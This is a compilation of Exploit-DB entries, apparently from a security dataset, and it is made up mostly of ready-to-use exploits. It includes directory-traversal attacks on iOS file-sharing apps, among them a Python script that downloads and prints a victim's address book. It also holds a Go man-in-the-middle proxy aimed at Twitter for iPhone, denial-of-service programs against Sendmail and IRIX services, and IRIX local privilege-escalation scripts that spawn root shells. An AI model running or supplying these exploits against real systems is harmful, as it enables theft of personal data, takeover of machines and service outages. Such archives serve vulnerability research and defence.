deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16972
Description: iOS Checkview 1.1 - Directory Traversal
Type: remote
Platform: ios
Date: 2011-03-14
Author: kim@story

Exploit:
# Exploit Title: checkview(Ã¥ºä) v1.1 for iPhone / iPod touch, Directory Traversal
# Date: 03/14/2011
# Author: kim@story
# E-Mail : kimastory [at] gmail [dot] com
# Twitter : http://twitter.com/kimastory
# Software Link: http://itunes.apple.com/En/app/id381116321#
# Version: 1.1
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware  

# There is directory traversal vulnerability in the checkview(Ã¥ºä).  
# Exploit Testing


http://192.168.0.18:8888/..%2F..%2F..%2F..%2F..%2F/etc/passwd


#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file.  Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false
Exploit-DB #16228
Description: iOS iDocManager 1.0.0 - Directory Traversal
Type: remote
Platform: ios
Date: 2011-02-24
Author: R3d@l3rt_ Sp@2K_ Sunlight

Exploit:
# Exploit Title: iDocManager v1.0.0 for iPhone / iPod touch, Directory Traversal 
# Date: 02/24/2011
# Author: R3d@l3rt, Sp@2K, Sunlight, H@ckk3y
# Software Link : http://itunes.apple.com/kr/app/idocmanager/id376421606?mt=8
# Version: 1.0.0
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware  

# There is directory traversal vulnerability in the iDocManager.  
# Exploit Testing

C:\>ftp
ftp> open 192.168.0.70 20000
Connected to 192.168.0.70.
220 DiddyDJ FTP server ready.
User (192.168.0.70:(none)): anonymous
331 Password required for anonymous
Password:
230 User  logged in.
ftp> dir
200: PORT command successful.
150: Opening ASCII mode data connection for '/bin/ls'.


226 Transfer complete.
ftp: 4 bytes received in 0.02Seconds 0.25Kbytes/sec.
ftp> get ../../../../../../etc/passwd
200: PORT command successful.
150: Opening BINARY mode data connection for '../../../../../../etc/passwd'.
226 Transfer complete.
ftp: 787 bytes received in 0.02Seconds 49.19Kbytes/sec.
ftp> get ../../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist
200: PORT command successful.
150: Opening BINARY mode data connection for '../../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist'.
226 Transfer complete.
ftp: 272 bytes received in 0.00Seconds 272000.00Kbytes/sec.
ftp> quit
221- Data traffic for this session was 0 bytes in 0 files
221 Thank you for using the FTP service on localhost.

C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file.  Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

C:\>type com.apple.conference.plist
bplist00?_restoredFromBackup\natTypeCache?
_DIPv4.Router=192.168.0.1;IPv4.RouterHardwareAddress=1c:bd:b9:XX:XX:XX_EIPv4.R
outer=192.168.11.1;IPv4.RouterHardwareAddress=00:24:a5:XX:XX:XX? XnatFlag
C:\>



# IPhone inside information

1. Phone Book
 - /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
     
2. Safari Favorites List
 - /private/var/mobile/Library/Safari

3. Users E-mail Information
 - /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist

4. IPv4 Router Information
 - /private/var/mobile/Library/Preferences/com.apple.conference.plist
Exploit-DB #16278
Description: iOS iFileExplorer Free - Directory Traversal
Type: remote
Platform: ios
Date: 2011-03-04
Author: theSmallNothin

Exploit:
# Exploit Title: iPod Touch/iPhone iFileExplorer Free Directory Traversal
# Date: 04/03/2011 #UK date format
# Author: theSmallNothing
# Software Link: http://itunes.apple.com/gb/app/ifileexplorer-protect-multi/id355253462?mt=8
# Version: 2.8
# Tested on: iPod Touch 2G (4.1)

import urllib, sqlite3

base = "http://192.168.0.3/" #Change to iDevice ip
url = base + "..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/var/mobile/Library/AddressBook/AddressBook.sqlitedb" #Jailbroken Address

try:
    urllib.urlretrieve(url,"addressbook.sqlite")
    print "Grabbed Address Book\n"
except:
    print "Could not grab address book..."

conn = sqlite3.connect("addressbook.sqlite")
cursor = conn.cursor()
cmd = "SELECT * FROM ABPerson"
cursor.execute(cmd)
results = cursor.fetchall()
for person in results:
    if person[1] == None:
        continue
    print person[1], person[2]
    
    cmd = "SELECT * FROM ABMultiValue WHERE record_id="+str(person[0])
    cursor.execute(cmd)
    vunDataArr = cursor.fetchall()
    for vunData in vunDataArr:
        if vunData[5] != None:
            print "\t"+vunData[5]
Exploit-DB #15664
Description: iOS iFTPStorage 1.3 - Directory Traversal
Type: remote
Platform: ios
Date: 2010-12-03
Author: XEL

Exploit:
#############################################
###    					  ###
##		     _x3l		   ##
#	http://gahor-krisztian.hu/xel	    #
##	    xel@gahor-krisztian.hu	   ##
###					  ###
#############################################


# Exploit: iFTPStorage for iPhone / iPod touch <= 1.3 - Directory Traversal
# Date: 02/12/2010
# Author: _x3l
# Software Link: http://itunes.apple.com/us/app/iftpstorage/id333357690?mt=8
# Version: 1.3
# Tested on: iPhone 3GS with 4.2.1 firmware

There is directory traversal vulnerability in the iFTPStorage.
You can download all file from the iPhone when you connected to the ftp server.
	For example: GET ../../../../../../etc/passwd
Exploit-DB #16271
Description: iOS TIOD 1.3.3 - Directory Traversal
Type: remote
Platform: ios
Date: 2011-03-03
Author: R3d@l3rt_ H@ckk3y

Exploit:
# Exploit Title: TIOD v1.3.3 for iPhone / iPod touch, Directory Traversal
# Date: 03/03/2011
# Author: R3d@l3rt, H@ckk3y
# E-Mail : R3dal3rt.team [at] gmail [dot] com
# Twitter : http://twitter.com/R3dAl3rtTeam
# Software Link: http://itunes.apple.com/kr/app/idocmanager/id404412400?mt=8
# Version: 1.3.3
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware  

# There is directory traversal vulnerability in the TIOD.  
# Exploit Testing


C:\>ftp
ftp> open 192.168.0.70
Connected to 192.168.0.70.
220 Service ready for new user.
User (192.168.0.70:(none)): anonymous
331 Send e-mail address as password.
Password:
230 User logged in, proceed.
ftp> dir
200 Command okay.
150 About to send file list.
total 0
drwxr-xr-x   2 501      501            68 Feb 14 12:39 CAMERAROLL
226 Transfer complete.
ftp: 76 bytes received in 0.01Seconds 5.07Kbytes/sec.
ftp> dir ../../../../../../etc/passwd
200 Command okay.
150 About to send file list.
total 0
-rw-r--r--   1 0        0             785 Jan 11 20:14 ../../../../../../etc/pas
swd
226 Transfer complete.
ftp: 94 bytes received in 0.00Seconds 94000.00Kbytes/sec.
ftp> get ../../../../../../etc/passwd
200 Command okay.
150 About to open data connection.


C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file.  Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

C:\>


# IPhone inside information

1. Phone Book
 - /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
     
2. Safari Favorites List
 - /private/var/mobile/Library/Safari

3. Users E-mail Information
 - /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist

4. IPv4 Router Information
 - /private/var/mobile/Library/Preferences/com.apple.conference.plist
Exploit-DB #38058
Description: Twitter for iPhone - Man in the Middle Security
Type: remote
Platform: ios
Date: 2012-11-23
Author: Carlos Reventlov

Exploit:
source: https://www.securityfocus.com/bid/56665/info

Twitter for iPhone is prone to a security vulnerability that lets attackers to perform a man-in-the-middle attack.

Attackers can exploit this issue to capture and modify pictures that the user sees in the application.

Twitter for iPhone 5.0 is vulnerable; other versions may also be affected. 

/*
  Twitter App, eavesdroping PoC

  Written by Carlos Reventlov <carlos@reventlov.com>
  License MIT
*/

package main

import (
  "fmt"
  "github.com/xiam/hyperfox/proxy"
  "github.com/xiam/hyperfox/tools/logger"
  "io"
  "log"
  "os"
  "path"
  "strconv"
  "strings"
)

const imageFile = "spoof.jpg"

func init() {
  _, err := os.Stat(imageFile)
  if err != nil {
    panic(err.Error())
  }
}

func replaceAvatar(pr *proxy.ProxyRequest) error {
  stat, _ := os.Stat(imageFile)
  image, _ := os.Open(imageFile)

  host := pr.Response.Request.Host

  if strings.HasSuffix(host, "twimg.com") == true {

    if pr.Response.ContentLength != 0 {

      file := "saved" + proxy.PS + pr.FileName

      var ext string

      contentType := pr.Response.Header.Get("Content-Type")

      switch contentType {
      case "image/jpeg":
        ext = ".jpg"
      case "image/gif":
        ext = ".gif"
      case "image/png":
        ext = ".png"
      case "image/tiff":
        ext = ".tiff"
      }

      if ext != "" {
        fmt.Printf("** Saving image.\n")

        os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))

        fp, _ := os.Create(file)

        if fp == nil {
          fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
        }

        io.Copy(fp, pr.Response.Body)

        fp.Close()

        pr.Response.Body.Close()
      }

    }

    fmt.Printf("** Sending bogus image.\n")

    pr.Response.ContentLength = stat.Size()
    pr.Response.Header.Set("Content-Type", "image/jpeg")
    pr.Response.Header.Set("Content-Length",
strconv.Itoa(int(pr.Response.ContentLength)))
    pr.Response.Body = image
  }

  return nil
}

func main() {

  p := proxy.New()

  p.AddDirector(logger.Client(os.Stdout))

  p.AddInterceptor(replaceAvatar)

  p.AddLogger(logger.Server(os.Stdout))

  var err error

  err = p.Start()

  if err != nil {
    log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
  }
}
Exploit-DB #51015
Description: Wifi HD Wireless Disk Drive 11 - Local File Inclusion
Type: remote
Platform: ios
Date: 2022-09-21
Author: Chokri Hammedi

Exploit:
# Exploit Title: Wifi HD Wireless Disk Drive 11 - Local File Inclusion
# Date: Aug 13, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: http://www.savysoda.com
# Software Link: https://apps.apple.com/us/app/wifi-hd-wireless-disk-drive/id311170976
# Version: 11
# Tested on: iPhone OS 15_5

# Proof of Concept
GET /../../../../../../../../../../../../../../../../etc/hosts HTTP/1.1
Host: 192.168.1.100
Connection: close
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5  Safari/604.1
Referer: http://192.168.1.103/
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate


-----------------

HTTP/1.1 200 OK
Content-Disposition: attachment
Content-Type: application/download
Content-Length: 213
Accept-Ranges: bytes
Date: Sat, 13 Aug 2022 03:33:30 GMT

##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1             localhost
Exploit-DB #37213
Description: WiFi HD 8.1 - Directory Traversal / Denial of Service
Type: webapps
Platform: ios
Date: 2015-06-06
Author: Wh1t3Rh1n0 (Michael Allen)

Exploit:
# Exploit Title: WiFi HD 8.1 - Directory Traversal and Denial of Service
# Date: 2015-05-27
# Exploit Author: Wh1t3Rh1n0 (Michael Allen)
# Vendor Homepage: http://www.savysoda.com
# Software Link: http://www.savysoda.com/WiFiHD/
# Version: 8.1 (Apr 1, 2015)
# Tested on: iPhone

Disclosure Timeline:
* 2015-05-30: Vendor notified via email.
* 2015-06-05: No reponse from the vendor. Advisory released.


Software description:
=====================
WiFi HD is an iOS app which allows users to share files between their iPhone and PC by running a web server, FTP server, or SMB server on the iPhone or through various cloud services. 


Vulnerabilities:
================
The web server (titled "WiFi" in the app) is vulnerable to multiple directory traversal issues which allow an attacker to download, upload, create, or delete any file to which the app has access. The SMB server (titled "Shared Folder") is vulnerable to a Denial of Service attack when issued the command, "dir -c", within smbclient. It also discloses a listing of all readable files within the iPhone's file system via the IPC$ share.


Web Server Proof-of-Concept
===========================
Read arbitrary files/folders:
    Read /etc/passwd:
        curl "http://[TARGET IP]/../../../../../../../../etc/passwd"
    List contents of the /tmp directory:
        curl "http://[TARGET IP]/../../../../../../../../tmp/"

Create Folders:
    Create the folder, "/tmp/PoC-Folder":
        curl -d 'foldername=/../../../../../../../../tmp/PoC-Folder&button=Create+Folder' "http://[TARGET IP]/"
    
Delete Files/Folders:
    Delete the folder, "/tmp/PoC-Folder":
        curl 'http://[TARGET IP]/!DEL!/../../../../../../../../tmp/PoC-Folder'
                                  
Upload a File:
    Upload /etc/services to /tmp/example.txt:
        curl -F 'file=@/etc/services;filename=/../../../../../../../../tmp/example.txt' -F 'button=Submit' 'http://[TARGET IP]/'

    
SMB Server Proof-of-Concept
===========================
Denial of Service:
    smbclient -N -c 'dir \' //[TARGET IP]/IPC$
    
Browse the iPhone's Filesystem:
    smbclient -N //[TARGET IP]/IPC$
Exploit-DB #22638
Description: IRIX 5.x/6.x - MediaMail HOME Environment Variable Buffer Overflow
Type: dos
Platform: irix
Date: 2003-05-23
Author: bazarr@ziplip.com

Exploit:
source: https://www.securityfocus.com/bid/7672/info

A buffer overflow vulnerability has been reported for the MediaMail binary that may result in a user obtaining elevated privileges.

Although unconfirmed, an attacker, using a custom crafted string, could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code with group 'mail' privileges.

sh$ export $HOME=`perl -e 'print "A"x12096'
sh$ /usr/bin/X11/MediaMail
Exploit-DB #21431
Description: IRIX 6.5.x - Performance Co-Pilot Remote Denial of Service
Type: dos
Platform: irix
Date: 2002-04-12
Author: Marcelo Magnasco

Exploit:
source: https://www.securityfocus.com/bid/4642/info

Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.

A vulnerability exists in some versions of the PCP daemon. It is possible to cause a denial of service condition by sending the daemon a large string of arbitrary data.


% perl -e 'print " a" x 92834244,"\n";'' | telnet sgi.victim.com 4321
Exploit-DB #23167
Description: Sendmail 8.9.2 - Headers Prescan Denial of Service
Type: dos
Platform: irix
Date: 1998-12-12
Author: marchew

Exploit:
/*
  against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
  (c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>

  Usage: ./against existing_user_on_victim_host victim_host
  Example: ./against nobody lamers.net

*/

#include <stdio.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <errno.h>
#include <signal.h>
#include <getopt.h>
#include <stdlib.h>
#include <string.h>

#define MAXCONN 4
#define LINES   15000

struct hostent *hp;
struct sockaddr_in s;
int suck,loop,x;

int main(int argc,char* argv[]) {

  printf("against.c - another Sendmail DoS (up to 8.9.2)\n");

  if (argc-3) {
printf("Usage: %s victim_user victim_host\n",argv[0]);
exit(0);
  }

  hp=gethostbyname(argv[2]);

  if (!hp) {
perror("gethostbyname");
exit(1);
  }

  fprintf(stderr,"Doing mess: ");

  for (;loop<MAXCONN;loop++) if (!(x=fork())) {
FILE* d;
bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
s.sin_family=hp->h_addrtype;
s.sin_port=htons(25);
if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); }

usleep(100000);

fprintf(d,"helo tweety\n");
fprintf(d,"mail from: tweety@polbox.com\n");
fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
fprintf(d,"data\n");

usleep(100000);

for(loop=0;loop<LINES;loop++) {
  if (!(loop%100)) fprintf(stderr,".");
  fprintf(d,"To: x\n");
}

fprintf(d,"\n\n\nsomedata\n\n\n");

fprintf(d,".\n");

sleep(1);

fprintf(d,"quit\n");
fflush(d);

sleep(100);
shutdown(suck,2);
close(suck);
exit(0);
  }

  waitpid(x,&loop,0);

  fprintf(stderr,"ok\n");

  return 0;
}
Exploit-DB #19357
Description: SGI IRIX 6.2 - SpaceWare
Type: dos
Platform: irix
Date: 1996-10-30
Author: J.A. Guitierrez

Exploit:
source: https://www.securityfocus.com/bid/471/info

The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing quotes around it, the spaceball.sh program can be made to execute commands.

#!/bin/sh
SWDIR=/usr/local/SpaceWare
cp /bin/sh /tmp/sh
echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
echo 6 | HOSTNAME="/bin/chown root /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
/tmp/sh
Exploit-DB #20263
Description: IRIX 5.2/6.0 - Permissions File Manipulation
Type: local
Platform: irix
Date: 1995-03-02
Author: Larry Glaze

Exploit:
source: https://www.securityfocus.com/bid/1751/info

The IRIX's /usr/lib/desktop/permissions tool is a suid and sgid root applications normally used by users to modify permissions of their files and files they are privileged for. A vulnerability in the permissions tool allows local malicious users to modify the permissions of any file on the system.

This is SGI SCR # 265071.

If you attempt to change the permissions of a file you don't have privileges for the permissions tool will prompt you for the name and password of a privileged user. But the permission changes are made to the target file before the tool prompts you for the password if you double click "Apply". 

Run /usr/lib/desktop/permissions aganist the file which permissions you want to modify. Change the permissions. Click on the 'Apply' button twice before the dialog box appears asking you for a username and password. Click the 'Cancel' button.
Exploit-DB #265
Description: IRIX 5.3/6.2/6.3/6.4/6.5/6.5.11 - '/usr/bin/lpstat' Local Overflow / Local Privilege Escalation
Type: local
Platform: irix
Date: 2001-05-07
Author: LSD-PLaNET

Exploit:
#!/bin/sh
## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
## /usr/bin/lpstat                                                             #

EXECUTABLE=/usr/bin/lpstat
FILE=file
LIBRARY=lsd
DIRECTORY=tmp

cd $DIRECTORY
cat > $FILE << 'EOF'
HOSTNAME=localhost
HOSTPRINTER=bzzz-z
EOF
echo NETTYPE=../../../../$DIRECTORY/lsd >> $FILE
chmod 666 $FILE
cat > $LIBRARY.c << 'EOF'
OpenConn(){
    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
    printf("/usr/bin/lpstat for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
    printf("\n");
    setreuid(getuid(),0);setuid(0);setgid(0);
    execl("/bin/sh","sh",0);
}
CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
RemoveSemiColons(){} CreateInterface(){} InstallPrinter(){}
InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){} ListAllPrinters(){}
EOF
cc -c $LIBRARY.c -c -o $LIBRARY.o
ld -shared $LIBRARY.o -o $LIBRARY.so
rm -rf $LIBRARY.[co] so_locations
if [ ! -f "$LIBRARY.so" ]
    then
    echo "error: building library"
    exit 1
fi
chmod 666 $LIBRARY.so

$EXECUTABLE -n ../../../../../$DIRECTORY/$FILE

# milw0rm.com [2001-05-07]
Exploit-DB #270
Description: IRIX 5.3/6.2/6.3/6.4/6.5/6.5.11 - '/usr/lib/print/netprint' Local Privilege Escalation
Type: local
Platform: irix
Date: 2001-05-08
Author: LSD-PLaNET

Exploit:
#!/bin/sh
## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
## /usr/lib/print/netprint                                                     #
##                                                                             #
## This code gets released due to another post to the Bugtraq mailing list.    #
## For IRIX 6.3 and above this privilage escalation attack can be conducted    #
## by local lp users only.                                                     #

EXECUTABLE=/usr/lib/print/netprint
LIBRARY=lsd
DIRECTORY=/tmp

cd $DIRECTORY
cat > $LIBRARY.c << 'EOF'
OpenConn(){
    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
    printf("/usr/lib/print/netprint for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
    printf("\n");
    setreuid(getuid(),0);setuid(0);setgid(0);
    execl("/bin/sh","sh",0);
}
CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
RemoveSemiColons(){} ListAllPrinters(){} CreateInterface(){} InstallPrinter(){}
InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){}
EOF
cc -c $LIBRARY.c  -o $LIBRARY.o
ld -shared $LIBRARY.o -o $LIBRARY.so
rm -rf $LIBRARY.[co] so_locations
if [ ! -f "$LIBRARY.so" ]
    then
    echo "error: building library"
    exit 1
fi
chmod 666 $LIBRARY.so

$EXECUTABLE -n ../../../../$DIRECTORY/$LIBRARY -h localhost -p lalala bzz-zz


# milw0rm.com [2001-05-08]